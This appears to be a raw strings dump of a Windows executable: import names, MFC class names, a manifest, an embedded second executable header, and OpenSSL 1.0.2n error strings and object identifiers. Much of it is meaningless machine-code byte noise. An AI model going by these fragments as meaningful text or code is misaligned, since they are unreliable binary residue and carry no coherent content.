DeleteDC
GetStockObject
GDI32.dll
ClosePrinter
DocumentPropertiesW
OpenPrinterW
WINSPOOL.DRV
RegCreateKeyW
RegQueryValueExW
RegCloseKey
RegSetValueExW
RegOpenKeyW
RegOpenKeyExW
RegDeleteKeyW
RegEnumKeyW
RegQueryValueW
RegCreateKeyExW
ADVAPI32.dll
InitCommonControlsEx
COMCTL32.dll
PathFindExtensionW
PathFindFileNameW
SHLWAPI.dll
StringFromGUID2
CoInitializeEx
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
UnregisterClassA
.?AVCAfxStringMgr@@
.?AUIAtlStringMgr@ATL@@
.?AVCOleException@@
.?AVCException@@
.PAVCOleException@@
.PAVCException@@
.PAVCObject@@
.PAVCMemoryException@@
.PAVCSimpleException@@
.PAVCInvalidArgException@@
.?AVCMemoryException@@
.?AVCSimpleException@@
.?AVCNotSupportedException@@
.?AVCInvalidArgException@@
.?AV_AFX_THREAD_STATE@@
.?AVCNoTrackObject@@
.?AVAFX_MODULE_THREAD_STATE@@
.?AVAFX_MODULE_STATE@@
.?AVCDllIsolationWrapperBase@@
.?AVCComCtlWrapper@@
.?AVCCommDlgWrapper@@
.?AV_AFX_BASE_MODULE_STATE@@
.?AVCCmdUI@@
.?AVXAccessible@CWnd@@
.?AVXAccessibleServer@CWnd@@
.?AVCTestCmdUI@@
.?AV_AFX_HTMLHELP_STATE@@
.PAVCUserException@@
.?AV?$IAccessibleProxyImpl@VCAccessibleProxy@ATL@@@ATL@@
.?AUIAccessible@@
.?AUIDispatch@@
.?AUIUnknown@@
.?AUIAccessibleProxy@@
.?AV?$CMFCComObject@VCAccessibleProxy@ATL@@@@
.?AVCAccessibleProxy@ATL@@
.?AV?$CComObjectRootEx@VCComSingleThreadModel@ATL@@@ATL@@
.?AVCComObjectRootBase@ATL@@
.?AUIOleWindow@@
.PAVCArchiveException@@
.?AVCArchiveException@@
.?AUCThreadData@@
.?AVCHandleMap@@
.?AVCMapPtrToPtr@@
.?AVCGdiObject@@
.?AVCMenu@@
.PAVCResourceException@@
.?AVCResourceException@@
.?AVCUserException@@
.?AVCDC@@
.?AVCByteArray@@
.?AVtype_info@@
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
.?AVbad_exception@std@@
.?AVexception@std@@
.?AVCObject@@
.?AVCCmdTarget@@
.?AVCWnd@@
.?AVCMainWnd@@
.?AVCWinThread@@
.?AVCWinApp@@
.?AVCRtkBtMntApp@@
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
    </dependentAssembly>
  </dependency>
</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDMZ
!This program cannot be run in DOS mode.
`.rdata
@.data
@.reloc
t	PQWR
|$H$t!j]h
D$0]_^
{\^_][
D$hSUV
T$|#L$x
T$|3L$
T$D3L$x
T$L#L$T
T$H#L$
3L$P3L$43L$,
3L$L3L$03L$$
T$$3L$
3L$<3L$03L$ 
3L$P3L$
T$43L$,
3L$P3L$43L$ 
L$H3L$L3L$
L$T3L$
3L$83L$(
3L$H3L$<3L$,
L$x3L$T3L$@3L$0
L$x3L$D3L$
3L$H3L$83L$$
3L$<3L$(3L$ 
L$x3L$@3L$,3L$$
3L$03L$(
L$D3L$43L$,3L$ 
T$,3l$$
3L$83L$4
T$p3L$(
L$x3L$<3L$
3L$@3L$83L$0
3l$43l$ 
t$D3t$@3t$L
T$T3t$$
T$P#L$P#
T$@3t$
3t$83t$(
3T$D3T$<3T$,
3T$H3T$@3T$0
L$H3T$P
3T$D3T$L3T$ 
3T$H3T$83T$$
3T$<3T$(3T$ 
T$x3T$@
3T$03T$(
T$D3T$4
3T$,3T$ 
3T$L3T$03T$$
3T$83T$43T$(
3T$<3T$L3T$,
3T$@3T$83T$0
3T$<3T$43T$ 
3T$L3T$$
T$@3L$P3L$8
l$T#T$
3L$H3L$@
T$D3L$0
L$x3L$D
3L$L3L$ 
3L$83L$$
3L$<3L$(3L$ 
3L$@3L$,3L$$
3L$P3L$03L$(
L$D3L$43L$,3L$T
L$H3L$L
3L$03L$$
3T$83T$43T$(
L$x3L$<
3L$L3L$ 
3T$@3T$83T$0
L$83t$43t$T
L$X3L$L3L$
3L$L3L$
\$@3L$@
3|$p3|$4
3L$83L$$
t$L3t$P
{h^_][
D$$#D$
t$(#t$
L$,#L$$
t$L#D$,3
@$g&3g
WD;WDw
#D$ #i
#D$ #Y
t$(WSV
;\$ ~;
t&;D$P
D$(SUVW3
D$(SUVW3
jCjkj&
t/jih@
jjjkj&
jCjwj&
D$4PWR
D$HPWR
D$0VPWR
D$0VPWR
D$DSUVW
D$ PWV
F$_^][
FD_^][
jyjgj 
jxjhj 
jyjhj 
jxjnj 
jyjnj 
jAjlj 
jxjnj 
jyjnj 
jxjoj 
jyjoj 
jxjqj 
jyjqj 
sk9|$,w
sa9l$,w
C;\$0|
;[_^]Y
;[_^]Y
9D$$t&h
9D$$t&hs
jCjlj&
F`PVj	
jCjlj&
F`PVj	
F$_][^
D$0WPV
D$ St4PUP
\$0UVWS
t$<VUU
t$<WQR
D$4SPP
|$8SWS
D$,VPS
|$\UWU
SSWSSV
D$(Ph4
ED$PPU
t$$QRP
D$(+D$
D$(SUV
;D$<~(h
9l$@uf9\$Du`
D$<;D$
t$,VPU
ED$XPQU
9\$ t#ht
t$0t$R
D$0_^][
t$,SVQW
L$0SUV
t$ UVP
t$DPUV
D$(_^][
jejtj 
t$(VUWP
D$ W@P
D$@WPSU
tIjvh$
tSj[hP
jAjij"
jAjxj"
jhjnj"
uy<,uuS
)<,u%S
\$,Wj/S
t$0j:V
jAjoj"
jAjyj"
jAjxj"
jmjlj"
jejlj"
jdjlj"
jkjqj"
jAjqj"
jqjqj"
jpjqj"
;D$ u'
D$8SPP
|$8HPW
D$D_^]3
D$<VPP
D$49D$\t	P
D$D_^][
uHjIh<
;|$(uh
uP_][^
t$ QSWR
t$ WRS
tejqh8
jAjdj*
j&jdj*
jAjdj*
j&jdj*
un9D$$
D$T9|$
D$TUWPP
u*9D$0u
t$(SSS
RUVQPS
t$8WVj
t$8UWWW
t$8WVj
D$4PWW
D$4PSSS
D$4PSSS
#L$ #D$
D$(VSP
jdjdj$
D$Tj@P
D$dSUV
t$(PVW
u)j\hH
jejxj#
u0jhhH
jkjxj#
D$Pj@P
jejxj#
t$$PVS
t$ SVW
t$$UWVj
;l$ tG
\$XVRP
l$$WUS
D$\jPP
D$<;L$L}
L$,USj
t$4SUW
D$(UVP
D$pSUV
D$,jPP
\$(VWS3
F,PSRQUWt
D$ [;H
D$ ;\$4
|$D;|$ w0
D$(+D$$
D$0;\$,s
D$T_[^]
t$|PVV
9\$<t%WV
\$4VWh
L$(;L$$r
9|$,v%U
D$ H9D$(s>
D$(;D$ 
D$0_^[
l$0VWU
jCjej*
jkh$E	
jAjgj*
jzh$E	
j~h$E	
t$ WSU
t$ WSWS
t$(WSVV
t$ WVV
	jvh$E	
jAjgj*
jeh$E	
jCjgj*
jAjfj*
t$ SU=
jdjfj*
jgjfj*
jAjej+
j&jej+
jAjej+
j&jej+
Oh_^][
\$$SUV
\$$SUV
l$ SUP
tGhXI	
l$$t:h
L$(UWQh
D$$_^]
\$ ;^0
u	_^]3
t$,SPh
t$,SWh
l$,VW3
D$ [_^]
,_^][Y
L$8WVQU
l$0VWU
D$0u43
t)h@P	
jAjnj#
9|$l~`f
G;|$l|
LD$pPW
jAjoj#
jEh(T	
jJh(T	
jWh(T	
jCj~j%
joj~j%
jAj~j%
D$ PWU
D$Hj P
L$X_[3
_^]@[Y
D$DjPP
~0@u,j
<zvA<Ar
<Zv9< t5<0r
<9v-<'t)<(t%<)t!<+t
<:t	<=t
jujuj"
j|juj"
jujuj"
j|juj"
j|juj"
jujuj"
jAjvj"
jujuj"
j|juj"
j|juj"
jujuj"
jAjfj"
jjjfj"
jAjej"
jAjej"
jojej"
jAjgj"
jnjgj"
t$(hxg	
u.h8g	
jAj~j"
jkj~j"
tNWjW@h
jkjdj"
jAjdj"
jAjpj"
jAjsj"
jrjsj"
L$T_^[3
PVh8j	
PVh@j	
jxjwj"
jzjwj"
jyjwj"
jAjfj'
WPhDv	
u!jfhxu	
\$ VhG
t@jUh4w	
j[h4w	
t@jbh4w	
jhh4w	
u=jrh4w	
j~h4w	
j{hdx	
D$(jPP
jphpy	
j|hpy	
SUVWhDz	
l$\VSUj
|$4;D$0|*
t;;t$0u5
L$ WQPU
Nx;N|}
Nx;N|}
9{@t59}@t0
jAjdj+
jdjdj+
jAjdj+
jejdj+
jDjdj+
jAjdj+
jfjdj+
D$8PSW
jnjhj!
jhjhj!
jtj}j.
jAjgj.
D$hSUV
9^ u3hI
t jph`
s jsh`
tV^][3
WS9l$Lt
D$Ej P
D$$_^[
uQ9n\tL
tE9ndu@
tc9nlu^h<
D$PPhh
{X^_][
D$$^][
D$$^][
D$$^][
D$$^][
D$ +D$,
D$HWPj
D$ _[^
D$ _[^
D$ _[^
D$ _[^
<>.u#F;
<0|@<9
jsjuj 
j~juj 
jsjuj 
j~juj 
jsj~j 
jyjuj.
D$(SUV
jAjxj.
jAjxj.
D$$_^][
t-VPUW
t3VQUW
t$4VVS
E,PVVS
t$,VVS
\$$VPS
CHPUVV
CHPUVV
CtPUUS
CHPVUU
t7WVUVS
t$$WWV
t$$WWV
l$0VWU
t$9k@u
t&WSSV
D$(QSP
t$ SWU
t$(;T$
t$$WV3
x:SUVV
D$L_^]3
03t$H3t$,
3T$L3T$,1
\$0UVS
D$4WPP
D$$SUV
D$,PVU
D$(PPW
							
						
A WRVPU
|$<u3W
jojxj%
jgjxj%
jijxj%
jCjyj%
jhjyj%
jkjyj%
jijwj%
jhjwj%
jjjwj%
jCjwj%
jijvj%
jhjvj%
jjjvj%
jCjvj%
jmj}j%
D$$][_^3
jzjij!
j jij!
jpjij!
u=_^]3
thSVW3
7_^][3
,0<	wy
|$ ;>~0hS
jAjrj 
D$$UPP
D$ UPP
T$ 0\$3
%33333
%UUUU3
%33333
t$03t$ 
%33333
%UUUU3
%33333
L$P_^]3
D44F2E
L$D_^][3
t$4;T$l
L$X_^[3
L$8_][3
D$(SUV
D$$taP
D$(tbS
C`1{LPQ
T$(_^][
L$(PUU
L$43*3
|$03L>
L$ M3\>
D$XSUVW
D$P3E 
M@3],3U(3}$
D$(SUV
3D$,3L$(
3D$83L$4
3L$(3D$,
D$$_^f
D$83D$(
L$<3L$,
D$@3D$0
\$$UV3
9D$8s"h
9D$$UW
9D$8s%h
T$ ;T$
jijij(
t$8SVVV
t$8SVV
|$8WSVV
u?;t$,toV
v	N+D$
URPQQh
;t$,v-
UQPXY]Y[
F4_^[]
<ItC<Lt3<Tt#<h
A<lt'<tt
<ItC<Lt3<Tt#<h
A<lt'<tt
<et	<pu
W8^.u>
W8^.u>
rr	jrZ
rr	jrZ
<ItM<Lt:<Tt'<h
?<lt <tt
zSSSSj
< t3<	t/
Wj0XPV
SPjdVQ
<at1<rt!<wt
<=upG8
QQSVj8j@
PPPPPWS
PP9E u<PPVWP
SSVWh 
f9:t!V
rr	jrZ
rr	jrZ
PPPPPPPP
v	N+D$
j <= (int)sizeof(ctx->key)
.\crypto\hmac\hmac.c
<<ERROR>>
ex_data
x509_info
x509_pkey
x509_crl
x509_req
evp_pkey
x509_store
ssl_ctx
ssl_cert
ssl_session
ssl_sess_cert
ssl_method
debug_malloc
gethostbyname
getservbyname
readdir
RSA_blinding
debug_malloc2
dynlock
engine
ec_pre_comp
.\crypto\cryptlib.c
pointer != NULL
_OPENSSL_isservice
OpenSSL
OpenSSL: FATAL
%s(%d): OpenSSL internal error, assertion failed: %s
l <= sizeof(c->iv)
.\crypto\evp\evp_lib.c
j <= sizeof(c->iv)
.\crypto\evp\digest.c
ctx->digest->md_size <= EVP_MAX_MD_SIZE
.\crypto\rsa\rsa_sign.c
SHA1 part of OpenSSL 1.0.2n  7 Dec 2017
SHA-256 part of OpenSSL 1.0.2n  7 Dec 2017
SHA-512 part of OpenSSL 1.0.2n  7 Dec 2017
D7q/;M
DlStack part of OpenSSL 1.0.2n  7 Dec 2017
.\crypto\stack\stack.c
.\crypto\buffer\buf_str.c
unknown library
system library
bignum routines
rsa routines
Diffie-Hellman routines
digital envelope routines
memory buffer routines
object identifier routines
PEM routines
dsa routines
x509 certificate routines
asn1 encoding routines
configuration file routines
common libcrypto routines
elliptic curve routines
SSL routines
BIO routines
PKCS7 routines
X509 V3 routines
PKCS12 routines
random number generator
DSO support routines
time stamp routines
engine routines
OCSP routines
FIPS routines
CMS routines
HMAC routines
connect
socket
ioctlsocket
listen
accept
WSAstartup
opendir
fflush
system lib
BN lib
RSA lib
DH lib
EVP lib
BUF lib
OBJ lib
PEM lib
DSA lib
X509 lib
ASN1 lib
CONF lib
CRYPTO lib
EC lib
SSL lib
BIO lib
PKCS7 lib
X509V3 lib
PKCS12 lib
RAND lib
DSO lib
ENGINE lib
OCSP lib
TS lib
nested asn1 error
bad asn1 object header
bad get asn1 object call
expecting an asn1 sequence
asn1 length mismatch
missing asn1 eos
malloc failure
called a function you should not call
passed a null parameter
internal error
called a function that was disabled at compile-time
.\crypto\err\err.c
int_err_get (err.c)
int_thread_get (err.c)
.\crypto\asn1\a_object.c
<INVALID>
.\crypto\asn1\evp_asn1.c
id-alg-PWRI-KEK
id-aes128-GCM
aes-128-gcm
id-aes128-CCM
aes-128-ccm
id-aes128-wrap-pad
id-aes192-GCM
aes-192-gcm
id-aes192-CCM
aes-192-ccm
id-aes192-wrap-pad
id-aes256-GCM
aes-256-gcm
id-aes256-CCM
aes-256-ccm
id-aes256-wrap-pad
AES-128-CTR
aes-128-ctr
AES-192-CTR
aes-192-ctr
AES-256-CTR
aes-256-ctr
id-camellia128-wrap
id-camellia192-wrap
id-camellia256-wrap
anyExtendedKeyUsage
Any Extended Key Usage
RSASSA-PSS
rsassaPss
AES-128-XTS
aes-128-xts
AES-256-XTS
aes-256-xts
RC4-HMAC-MD5
rc4-hmac-md5
AES-128-CBC-HMAC-SHA1
aes-128-cbc-hmac-sha1
AES-192-CBC-HMAC-SHA1
aes-192-cbc-hmac-sha1
AES-256-CBC-HMAC-SHA1
aes-256-cbc-hmac-sha1
RSAES-OAEP
rsaesOaep
dhpublicnumber
X9.42 DH
brainpoolP160r1
brainpoolP160t1
brainpoolP192r1
brainpoolP192t1
brainpoolP224r1
brainpoolP224t1
brainpoolP256r1
brainpoolP256t1
brainpoolP320r1
brainpoolP320t1
brainpoolP384r1
brainpoolP384t1
brainpoolP512r1
brainpoolP512t1
PSPECIFIED
pSpecified
dhSinglePass-stdDH-sha1kdf-scheme
dhSinglePass-stdDH-sha224kdf-scheme
dhSinglePass-stdDH-sha256kdf-scheme
dhSinglePass-stdDH-sha384kdf-scheme
dhSinglePass-stdDH-sha512kdf-scheme
dhSinglePass-cofactorDH-sha1kdf-scheme
dhSinglePass-cofactorDH-sha224kdf-scheme
dhSinglePass-cofactorDH-sha256kdf-scheme
dhSinglePass-cofactorDH-sha384kdf-scheme
dhSinglePass-cofactorDH-sha512kdf-scheme
dh-std-kdf
dh-cofactor-kdf
AES-128-CBC-HMAC-SHA256
aes-128-cbc-hmac-sha256
AES-192-CBC-HMAC-SHA256
aes-192-cbc-hmac-sha256
AES-256-CBC-HMAC-SHA256
aes-256-cbc-hmac-sha256
ct_precert_scts
CT Precertificate SCTs
ct_precert_poison
CT Precertificate Poison
ct_precert_signer
CT Precertificate Signer
ct_cert_scts
CT Certificate SCTs
jurisdictionL
jurisdictionLocalityName
jurisdictionST
jurisdictionStateOrProvinceName
jurisdictionC
jurisdictionCountryName
undefined
rsadsi
RSA Data Security, Inc.
RSA Data Security, Inc. PKCS
rsaEncryption
RSA-MD2
md2WithRSAEncryption
RSA-MD5
md5WithRSAEncryption
PBE-MD2-DES
pbeWithMD2AndDES-CBC
PBE-MD5-DES
pbeWithMD5AndDES-CBC
directory services (X.500)
commonName
countryName
localityName
stateOrProvinceName
organizationName
organizationalUnitName
pkcs7-data
pkcs7-signedData
pkcs7-envelopedData
pkcs7-signedAndEnvelopedData
pkcs7-digestData
pkcs7-encryptedData
dhKeyAgreement
DES-ECB
des-ecb
DES-CFB
des-cfb
DES-CBC
des-cbc
DES-EDE
des-ede
DES-EDE3
des-ede3
IDEA-CBC
idea-cbc
IDEA-CFB
idea-cfb
IDEA-ECB
idea-ecb
RC2-CBC
rc2-cbc
RC2-ECB
rc2-ecb
RC2-CFB
rc2-cfb
RC2-OFB
rc2-ofb
RSA-SHA
shaWithRSAEncryption
DES-EDE-CBC
des-ede-cbc
DES-EDE3-CBC
des-ede3-cbc
DES-OFB
des-ofb
IDEA-OFB
idea-ofb
emailAddress
unstructuredName
contentType
messageDigest
signingTime
countersignature
challengePassword
unstructuredAddress
extendedCertificateAttributes
Netscape
Netscape Communications Corp.
nsCertExt
Netscape Certificate Extension
nsDataType
Netscape Data Type
DES-EDE-CFB
des-ede-cfb
DES-EDE3-CFB
des-ede3-cfb
DES-EDE-OFB
des-ede-ofb
DES-EDE3-OFB
des-ede3-ofb
RSA-SHA1
sha1WithRSAEncryption
DSA-SHA
dsaWithSHA
DSA-old
dsaEncryption-old
PBE-SHA1-RC2-64
pbeWithSHA1AndRC2-CBC
PBKDF2
DSA-SHA1-old
dsaWithSHA1-old
nsCertType
Netscape Cert Type
nsBaseUrl
Netscape Base Url
nsRevocationUrl
Netscape Revocation Url
nsCaRevocationUrl
Netscape CA Revocation Url
nsRenewalUrl
Netscape Renewal Url
nsCaPolicyUrl
Netscape CA Policy Url
nsSslServerName
Netscape SSL Server Name
nsComment
Netscape Comment
nsCertSequence
Netscape Certificate Sequence
DESX-CBC
desx-cbc
subjectKeyIdentifier
X509v3 Subject Key Identifier
keyUsage
X509v3 Key Usage
privateKeyUsagePeriod
X509v3 Private Key Usage Period
subjectAltName
X509v3 Subject Alternative Name
issuerAltName
X509v3 Issuer Alternative Name
basicConstraints
X509v3 Basic Constraints
crlNumber
X509v3 CRL Number
certificatePolicies
X509v3 Certificate Policies
authorityKeyIdentifier
X509v3 Authority Key Identifier
BF-CBC
bf-cbc
BF-ECB
bf-ecb
BF-CFB
bf-cfb
BF-OFB
bf-ofb
RSA-MDC2
mdc2WithRSA
RC4-40
rc4-40
RC2-40-CBC
rc2-40-cbc
givenName
surname
initials
crlDistributionPoints
X509v3 CRL Distribution Points
RSA-NP-MD5
md5WithRSA
serialNumber
description
CAST5-CBC
cast5-cbc
CAST5-ECB
cast5-ecb
CAST5-CFB
cast5-cfb
CAST5-OFB
cast5-ofb
pbeWithMD5AndCast5CBC
DSA-SHA1
dsaWithSHA1
MD5-SHA1
md5-sha1
RSA-SHA1-2
sha1WithRSA
dsaEncryption
RIPEMD160
ripemd160
RSA-RIPEMD160
ripemd160WithRSA
RC5-CBC
rc5-cbc
RC5-ECB
rc5-ecb
RC5-CFB
rc5-cfb
RC5-OFB
rc5-ofb
run length compression
zlib compression
extendedKeyUsage
X509v3 Extended Key Usage
serverAuth
TLS Web Server Authentication
clientAuth
TLS Web Client Authentication
codeSigning
Code Signing
emailProtection
E-mail Protection
timeStamping
Time Stamping
msCodeInd
Microsoft Individual Code Signing
msCodeCom
Microsoft Commercial Code Signing
msCTLSign
Microsoft Trust List Signing
Microsoft Server Gated Crypto
Microsoft Encrypted File System
Netscape Server Gated Crypto
deltaCRL
X509v3 Delta CRL Indicator
CRLReason
X509v3 CRL Reason Code
invalidityDate
Invalidity Date
SXNetID
Strong Extranet ID
PBE-SHA1-RC4-128
pbeWithSHA1And128BitRC4
PBE-SHA1-RC4-40
pbeWithSHA1And40BitRC4
PBE-SHA1-3DES
pbeWithSHA1And3-KeyTripleDES-CBC
PBE-SHA1-2DES
pbeWithSHA1And2-KeyTripleDES-CBC
PBE-SHA1-RC2-128
pbeWithSHA1And128BitRC2-CBC
PBE-SHA1-RC2-40
pbeWithSHA1And40BitRC2-CBC
keyBag
pkcs8ShroudedKeyBag
certBag
crlBag
secretBag
safeContentsBag
friendlyName
localKeyID
x509Certificate
sdsiCertificate
x509Crl
PBMAC1
hmacWithSHA1
id-qt-cps
Policy Qualifier CPS
id-qt-unotice
Policy Qualifier User Notice
RC2-64-CBC
rc2-64-cbc
SMIME-CAPS
S/MIME Capabilities
PBE-MD2-RC2-64
pbeWithMD2AndRC2-CBC
PBE-MD5-RC2-64
pbeWithMD5AndRC2-CBC
PBE-SHA1-DES
pbeWithSHA1AndDES-CBC
msExtReq
Microsoft Extension Request
extReq
Extension Request
dnQualifier
authorityInfoAccess
Authority Information Access
caIssuers
CA Issuers
OCSPSigning
OCSP Signing
member-body
ISO Member Body
ISO-US
ISO US Member Body
X9.57 CM ?
S/MIME
id-smime-mod
id-smime-ct
id-smime-aa
id-smime-alg
id-smime-cd
id-smime-spq
id-smime-cti
id-smime-mod-cms
id-smime-mod-ess
id-smime-mod-oid
id-smime-mod-msg-v3
id-smime-mod-ets-eSignature-88
id-smime-mod-ets-eSignature-97
id-smime-mod-ets-eSigPolicy-88
id-smime-mod-ets-eSigPolicy-97
id-smime-ct-receipt
id-smime-ct-authData
id-smime-ct-publishCert
id-smime-ct-TSTInfo
id-smime-ct-TDTInfo
id-smime-ct-contentInfo
id-smime-ct-DVCSRequestData
id-smime-ct-DVCSResponseData
id-smime-aa-receiptRequest
id-smime-aa-securityLabel
id-smime-aa-mlExpandHistory
id-smime-aa-contentHint
id-smime-aa-msgSigDigest
id-smime-aa-encapContentType
id-smime-aa-contentIdentifier
id-smime-aa-macValue
id-smime-aa-equivalentLabels
id-smime-aa-contentReference
id-smime-aa-encrypKeyPref
id-smime-aa-signingCertificate
id-smime-aa-smimeEncryptCerts
id-smime-aa-timeStampToken
id-smime-aa-ets-sigPolicyId
id-smime-aa-ets-commitmentType
id-smime-aa-ets-signerLocation
id-smime-aa-ets-signerAttr
id-smime-aa-ets-otherSigCert
id-smime-aa-ets-contentTimestamp
id-smime-aa-ets-CertificateRefs
id-smime-aa-ets-RevocationRefs
id-smime-aa-ets-certValues
id-smime-aa-ets-revocationValues
id-smime-aa-ets-escTimeStamp
id-smime-aa-ets-certCRLTimestamp
id-smime-aa-ets-archiveTimeStamp
id-smime-aa-signatureType
id-smime-aa-dvcs-dvc
id-smime-alg-ESDHwith3DES
id-smime-alg-ESDHwithRC2
id-smime-alg-3DESwrap
id-smime-alg-RC2wrap
id-smime-alg-ESDH
id-smime-alg-CMS3DESwrap
id-smime-alg-CMSRC2wrap
id-smime-cd-ldap
id-smime-spq-ets-sqt-uri
id-smime-spq-ets-sqt-unotice
id-smime-cti-ets-proofOfOrigin
id-smime-cti-ets-proofOfReceipt
id-smime-cti-ets-proofOfDelivery
id-smime-cti-ets-proofOfSender
id-smime-cti-ets-proofOfApproval
id-smime-cti-ets-proofOfCreation
id-pkix-mod
id-pkip
id-alg
id-cmc
id-pda
id-aca
id-qcs
id-cct
id-pkix1-explicit-88
id-pkix1-implicit-88
id-pkix1-explicit-93
id-pkix1-implicit-93
id-mod-crmf
id-mod-cmc
id-mod-kea-profile-88
id-mod-kea-profile-93
id-mod-cmp
id-mod-qualified-cert-88
id-mod-qualified-cert-93
id-mod-attribute-cert
id-mod-timestamp-protocol
id-mod-ocsp
id-mod-dvcs
id-mod-cmp2000
biometricInfo
Biometric Info
qcStatements
ac-auditEntity
ac-targeting
aaControls
sbgp-ipAddrBlock
sbgp-autonomousSysNum
sbgp-routerIdentifier
textNotice
ipsecEndSystem
IPSec End System
ipsecTunnel
IPSec Tunnel
ipsecUser
IPSec User
id-it-caProtEncCert
id-it-signKeyPairTypes
id-it-encKeyPairTypes
id-it-preferredSymmAlg
id-it-caKeyUpdateInfo
id-it-currentCRL
id-it-unsupportedOIDs
id-it-subscriptionRequest
id-it-subscriptionResponse
id-it-keyPairParamReq
id-it-keyPairParamRep
id-it-revPassphrase
id-it-implicitConfirm
id-it-confirmWaitTime
id-it-origPKIMessage
id-regCtrl
id-regInfo
id-regCtrl-regToken
id-regCtrl-authenticator
id-regCtrl-pkiPublicationInfo
id-regCtrl-pkiArchiveOptions
id-regCtrl-oldCertID
id-regCtrl-protocolEncrKey
id-regInfo-utf8Pairs
id-regInfo-certReq
id-alg-des40
id-alg-noSignature
id-alg-dh-sig-hmac-sha1
id-alg-dh-pop
id-cmc-statusInfo
id-cmc-identification
id-cmc-identityProof
id-cmc-dataReturn
id-cmc-transactionId
id-cmc-senderNonce
id-cmc-recipientNonce
id-cmc-addExtensions
id-cmc-encryptedPOP
id-cmc-decryptedPOP
id-cmc-lraPOPWitness
id-cmc-getCert
id-cmc-getCRL
id-cmc-revokeRequest
id-cmc-regInfo
id-cmc-responseInfo
id-cmc-queryPending
id-cmc-popLinkRandom
id-cmc-popLinkWitness
id-cmc-confirmCertAcceptance
id-on-personalData
id-pda-dateOfBirth
id-pda-placeOfBirth
id-pda-gender
id-pda-countryOfCitizenship
id-pda-countryOfResidence
id-aca-authenticationInfo
id-aca-accessIdentity
id-aca-chargingIdentity
id-aca-group
id-aca-role
id-qcs-pkixQCSyntax-v1
id-cct-crs
id-cct-PKIData
id-cct-PKIResponse
ad_timestamping
AD Time Stamping
AD_DVCS
ad dvcs
basicOCSPResponse
Basic OCSP Response
OCSP Nonce
OCSP CRL ID
acceptableResponses
Acceptable OCSP Responses
noCheck
OCSP No Check
archiveCutoff
OCSP Archive Cutoff
serviceLocator
OCSP Service Locator
extendedStatus
Extended OCSP Status
trustRoot
Trust Root
algorithm
rsaSignature
X500algorithms
directory services - algorithms
directory
Directory
Management
experimental
Experimental
private
Private
security
Security
snmpv2
SNMPv2
enterprises
Enterprises
dcobject
dcObject
domainComponent
domain
Domain
selected-attribute-types
Selected Attribute Types
clearance
RSA-MD4
md4WithRSAEncryption
ac-proxying
subjectInfoAccess
Subject Information Access
id-aca-encAttrs
policyConstraints
X509v3 Policy Constraints
targetInformation
X509v3 AC Targeting
noRevAvail
X509v3 No Revocation Available
ansi-X9-62
ANSI X9.62
prime-field
characteristic-two-field
id-ecPublicKey
prime192v1
prime192v2
prime192v3
prime239v1
prime239v2
prime239v3
prime256v1
ecdsa-with-SHA1
CSPName
Microsoft CSP Name
AES-128-ECB
aes-128-ecb
AES-128-CBC
aes-128-cbc
AES-128-OFB
aes-128-ofb
AES-128-CFB
aes-128-cfb
AES-192-ECB
aes-192-ecb
AES-192-CBC
aes-192-cbc
AES-192-OFB
aes-192-ofb
AES-192-CFB
aes-192-cfb
AES-256-ECB
aes-256-ecb
AES-256-CBC
aes-256-cbc
AES-256-OFB
aes-256-ofb
AES-256-CFB
aes-256-cfb
holdInstructionCode
Hold Instruction Code
holdInstructionNone
Hold Instruction None
holdInstructionCallIssuer
Hold Instruction Call Issuer
holdInstructionReject
Hold Instruction Reject
pilotAttributeType
pilotAttributeSyntax
pilotObjectClass
pilotGroups
iA5StringSyntax
caseIgnoreIA5StringSyntax
pilotObject
pilotPerson
account
document
documentSeries
rFC822localPart
dNSDomain
domainRelatedObject
friendlyCountry
simpleSecurityObject
pilotOrganization
pilotDSA
qualityLabelledData
userId
textEncodedORAddress
rfc822Mailbox
favouriteDrink
roomNumber
userClass
manager
documentIdentifier
documentTitle
documentVersion
documentAuthor
documentLocation
homeTelephoneNumber
secretary
otherMailbox
lastModifiedTime
lastModifiedBy
aRecord
pilotAttributeType27
mXRecord
nSRecord
sOARecord
cNAMERecord
associatedDomain
associatedName
homePostalAddress
personalTitle
mobileTelephoneNumber
pagerTelephoneNumber
friendlyCountryName
organizationalStatus
janetMailbox
mailPreferenceOption
buildingName
dSAQuality
singleLevelQuality
subtreeMinimumQuality
subtreeMaximumQuality
personalSignature
dITRedirect
documentPublisher
x500UniqueIdentifier
mime-mhs
MIME MHS
mime-mhs-headings
mime-mhs-bodies
id-hex-partial-message
id-hex-multipart-message
generationQualifier
pseudonym
id-set
Secure Electronic Transactions
set-ctype
content types
set-msgExt
message extensions
set-attr
set-policy
set-certExt
certificate extensions
set-brand
setct-PANData
setct-PANToken
setct-PANOnly
setct-OIData
setct-PI
setct-PIData
setct-PIDataUnsigned
setct-HODInput
setct-AuthResBaggage
setct-AuthRevReqBaggage
setct-AuthRevResBaggage
setct-CapTokenSeq
setct-PInitResData
setct-PI-TBS
setct-PResData
setct-AuthReqTBS
setct-AuthResTBS
setct-AuthResTBSX
setct-AuthTokenTBS
setct-CapTokenData
setct-CapTokenTBS
setct-AcqCardCodeMsg
setct-AuthRevReqTBS
setct-AuthRevResData
setct-AuthRevResTBS
setct-CapReqTBS
setct-CapReqTBSX
setct-CapResData
setct-CapRevReqTBS
setct-CapRevReqTBSX
setct-CapRevResData
setct-CredReqTBS
setct-CredReqTBSX
setct-CredResData
setct-CredRevReqTBS
setct-CredRevReqTBSX
setct-CredRevResData
setct-PCertReqData
setct-PCertResTBS
setct-BatchAdminReqData
setct-BatchAdminResData
setct-CardCInitResTBS
setct-MeAqCInitResTBS
setct-RegFormResTBS
setct-CertReqData
setct-CertReqTBS
setct-CertResData
setct-CertInqReqTBS
setct-ErrorTBS
